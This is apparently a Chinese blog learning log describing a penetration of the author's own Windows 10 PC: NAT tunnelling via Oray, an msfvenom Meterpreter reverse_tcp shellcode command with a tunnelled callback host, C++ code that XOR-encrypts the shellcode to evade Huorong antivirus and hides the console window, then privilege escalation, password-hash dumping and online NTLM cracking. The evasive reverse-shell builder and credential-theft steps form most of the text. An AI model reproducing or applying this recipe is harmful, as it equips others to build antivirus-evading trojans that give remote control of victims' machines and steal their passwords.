学习记录:内网穿透+ShellCode+C++语言二次编译 免杀绕过火绒 渗透Win10提取密码

学习记录:内网穿透+ShellCode+C++语言二次编译 免杀绕过火绒 渗透Win10提取密码

0x00 写在最前

第二次学习记录,有点紧张。
主要目标:获取我电脑的密码。
本次尝试学习网上的一个shellcode免杀,绕过火绒杀毒,完成一次对Win10的渗透。
(放心,没有让目标系统上当运行木马的内容)
还扩展到利用花生壳提供的内网穿透功能实现对其他局域网设备的反弹shell连接。

0x01 环境介绍

  • 攻击机:Kali (虚拟机)
  • 靶机: Windows 10 22H2 版本 10.0.19045(物理机)
  • 工具:MSF,VS,花生壳
    简化网络拓扑图如下:
    在这里插入图片描述

0x02 虚拟机网络设置

Kali为虚拟机,需要先设置虚拟机的网络模式为桥接模式。
我使用的是VMware,设置如下:
1.打开虚拟网络编辑器。
在这里插入图片描述

2.设置名叫“VMnet1”的虚拟交换机为桥接模式。
在这里插入图片描述
3.再打开Kali的编辑虚拟机设置,在网卡设置选项选择连接VMnet1。
在这里插入图片描述

0x03 内网穿透

笔者只有一台PC,所以只能暂时让靶机和攻击机在同一个局域网,不过也能验证内网穿透的可行性。
打开花生壳,新建映射,设置如下:
在这里插入图片描述

完成设置后检测连接发现内网服务未接通,当然不急,待会儿打开Kali的监听。

0x04 免杀木马

shellcode在维基百科上的意思:

shellcode是一段用于利用软件漏洞而执行的代码。

说人话就是,只要在目标电脑上执行这段shellcode,就可以控制这台电脑。

使用msfvenom生成C语言shellcode,使用x86/shikata_ga_nai编码15次。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 \b '\x00' lhost=xxxxxx.imdo.co lport=xxxx -f c

拿到shellcode输出如下:
在这里插入图片描述
当前的shellcode肯定是过不掉杀软的,还需要深层的免杀。
免杀的姿势有很多种,笔者还是小白,暂时只会尝试特征码免杀(加油! >﹏<)
为了避免被火绒等安全软件通过特征码识别到恶意代码,所以通过C++二次编译。
借鉴了这篇博客,适合我这种小白,在此感谢!
链接: link
通过简单加密shellcode,等到执行时再解密:

#include <iostream>

using namespace std;

unsigned char buf[] =
"\xb8\x3a\xb4\x71\xa4\xd9\xcf\xd9\x74\x24\xf4\x5b\x33\xc9"
"\xb1\xb8\x31\x43\x12\x83\xc3\..........................."
//这里放刚刚生成的shellcode

int main() 
{
	string s;
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		int n = buf[i] ^ 0x44; //这里的密码可以换
		char c[5]{};
		sprintf_s(c, "\\x%x", n);
		s += c;
	}
	cout << s << endl;

	return 0;
}

解密代码:

for (size_t i = 0; i < sizeof(buf); i++)
{
	((unsigned char*)b)[i] ^= 0x44;
}

完整的代码在刚在那个博客链接里面,我就不多写了,大致这样形状(~ ̄▽ ̄)~:
在这里插入图片描述

如果想让木马运行时不跳出cmd窗口(那肯定不能跳出来啊),可以在源代码开头加上这句:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

为了不让编译器优化机制坏我们的好事,在设置中关闭编译器优化。
在这里插入图片描述

至此,只要编译源代码,免杀木马就完成了。
(刚才的源代码中,还要靠的是对VirtualAlloc函数的神秘调用,这个我就还不懂了啊啊啊,所以,免杀果然还不是小白可以碰的〒▽〒,不过不会写代码,我还不会运行代码吗,谁不是从脚本小子过来的呢,勿喷)

0x05 上线目标

在Kali端打开msf,建立监听:
在这里插入图片描述
运行免杀木马,全程火绒静态+动态免杀!目标上线!
在这里插入图片描述

胜利第一步!!

查看系统信息:
请添加图片描述

接下来迁移进程:
请添加图片描述
不要忘了咱们的目的:获取目标密码
获取密码,就需要system权限,getsystem失败,我尝试了msf自带的其他几个bypassuac,虽然可以提升到系统权限,但是它会上传一个程序,然而,那个程序被火绒干掉了,时间关系,只能暂时关闭杀软来继续之后的操作了,等我有时间在学习一下提权。

0x06 获取密码

在提权成功后:
请添加图片描述
提取用户密码hash值,需要解密:
请添加图片描述
这串输出的格式:

用户名:SID:LM哈希:NTLM哈希:::

然后,只要把NTLM哈希到免费的解密网站就可以试出来了:
请添加图片描述
对的,就是我的电脑密码。Nice!
顺便用msf截个图:
请添加图片描述
可以,至此结束一段深夜的学习。

0x07 总结

通过C++二次编译制作免杀木马,绕过火绒检测,实现对靶机的控制,windows本地提权,获取并破解用户密码。
今天又进步了一点点,之后打算去打基础了,一步一步来。
但毕竟做任何事都要有些动力的,做一个ScriptsKids反倒可以增加自己的兴趣和动力呢。🎉✨

免责声明:本文仅作学习、深研而用,若有犯罪行为,一切后果自负,与本文作者无关。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值